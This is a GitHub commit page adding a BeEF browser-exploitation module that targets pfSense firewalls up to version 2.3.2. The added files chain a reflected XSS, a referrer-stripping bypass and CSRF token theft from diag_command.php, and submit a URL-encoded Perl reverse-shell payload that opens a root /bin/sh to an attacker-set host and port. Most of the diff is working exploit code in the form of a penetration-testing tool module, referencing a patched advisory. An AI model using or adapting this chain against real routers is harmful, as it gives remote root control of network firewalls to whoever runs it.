Merge pull request #1366 from yanncam/pfSense_2.3.2_RCE

Add pfSense <= 2.3.2 Reverse root shell via CSRF/XSS exploit module
This commit is contained in:
Brendan Coles
2017-02-23 01:40:24 +11:00
committed by GitHub
5 changed files with 149 additions and 0 deletions

View File

@@ -0,0 +1,31 @@
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/x.js";
var target = 'http://' + rhost + ':' + rport + '/status_captiveportal_expire.php?zone="><script src="' + hook + '"></script>#lhostlport=' + lhost + ':' + lport + '&redir=' + encodeURIComponent(document.location);
// Add dynamicaly the <meta> tag to disable referrer forwarding (pfSense check if the referrer is different, but uncheck if it's an empty referrer).
beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Disable referrer forwarding in the hooked page (bypass pfSense referrer analysis).");
var meta = document.createElement('meta');
meta.name = "referrer";
meta.content = "no-referrer";
document.getElementsByTagName('head')[0].appendChild(meta);
// Force redirection of the hooked page to the pfSense XSS-GET/CSRF-with-token/RCE-root payload (without referrer and X-frame-option bypass)
// A full redirection is needed because pfSense disallow framing via X-frame-origin header...
// The current URL of the hooked page is sent via the payload to redirect back after few second
beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin).");
document.location = target;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
pfsense_2_3_2_reverse_root_shell_csrf:
enable: true
category: ["Exploits", "pfSense"]
name: "pfSense <= 2.3.2 Reverse Root Shell CSRF"
description: "Attempts to get a reverse root shell on a pfSense 2.3.2 firewall/router.<br /><a target='_blank' href='https://pfsense.org/security/advisories/pfSense-SA-17_01.webgui.asc'>Vulnerablity</a> found and PoC provided by <a target='_blank' href='https://www.linkedin.com/in/yann-cam-621b0b42'>Yann CAM</a> <a target='_blank' href='https://www.asafety.fr'>@ASafety</a> / <a target='_blank' href='http://www.synetis.com'>Synetis</a> (<a target='_blank' href='https://www.youtube.com/watch?v=IWtf6LlfP_c'>demo video</a>).<br />Patched in version <a target='_blank' href='https://doc.pfsense.org/index.php/2.3.3_New_Features_and_Changes'>2.3.33</a>."
authors: ["ycam"]
target:
working: ["FF"]

View File

@@ -0,0 +1,28 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js')
end
def self.options
configuration = BeEF::Core::Configuration.instance
lhost = "#{configuration.get("beef.http.host")}"
lhost = "" if lhost == "0.0.0.0"
return [
{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254'},
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost},
{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444'}
]
end
def post_execute
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')
save({'result' => @datastore['result']})
end
end

View File

@@ -0,0 +1,71 @@
// Function Ajax without JQuery library
function ajax(url, method, data, async){
method = typeof method !== 'undefined' ? method : 'GET';
async = typeof async !== 'undefined' ? async : false;
if(window.XMLHttpRequest)
var xhReq = new XMLHttpRequest();
else
var xhReq = new ActiveXObject("Microsoft.XMLHTTP");
if(method == 'POST'){
xhReq.open(method, url, async);
xhReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhReq.send(data);
} else {
if(typeof data !== 'undefined' && data !== null)
url = url+'?'+data;
xhReq.open(method, url, async);
xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhReq.send(null);
}
var serverResponse = xhReq.responseText;
return serverResponse;
}
var hash = window.location.hash.substring(1);
var lhostlport = hash.substring(hash.indexOf("lhostlport=")+11, hash.indexOf("&"));
var splitlhostlport = lhostlport.split(":");
var lhost = splitlhostlport[0];
var lport = splitlhostlport[1];
var redir = hash.substring(hash.indexOf("redir=")+6, hash.length);
var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%26%27%29%3B';
// Function with AJAX request
// This function requests in GET an internal WebGUI page, which contains the token.
// Source code of this webpage is passed to the extractToken() function.
function loadToken(){
var response = ajax('/diag_command.php');
extractToken(response);
}
// Function called after AJAX request in a defined page of the context, which contains the token value
function extractToken(response){
// response var contains the source code of the page requested by AJAX
// Regex to catch the token value
var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi');
var token = response.match(regex);
token = RegExp.$1;
// Pass the token to the final function which make the CSRF final attack
makeCSRF(token);
}
// Function with AJAX request
// The token var is needed to perform the right CSRF attack with the context referer
function makeCSRF(token){
// Final CSRF attack with right referer (because executed in the context)
// and with right token captured above
var response = ajax('/diag_command.php', 'POST', 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token);
// Finally, redirect back to the intial hooked page
document.location=decodeURIComponent(redir);
}
// The Reflected XSS is triggered several time. The next code force the RXSS firering only one time
if (trigger){
} else {
var trigger = function(){
loadToken();
};
trigger();
}

View File

@@ -240,6 +240,10 @@ beef.execute(function() {
"pfSense",
"443","https",false,
"/themes/pfsense_ng/images/logo.gif",200,56),
new Array(
"pfSense CE <= 2.3.2",
"80","http",false,
"/logo.png",124,36),
new Array(
"Apache Tomcat",
"8080","http",true,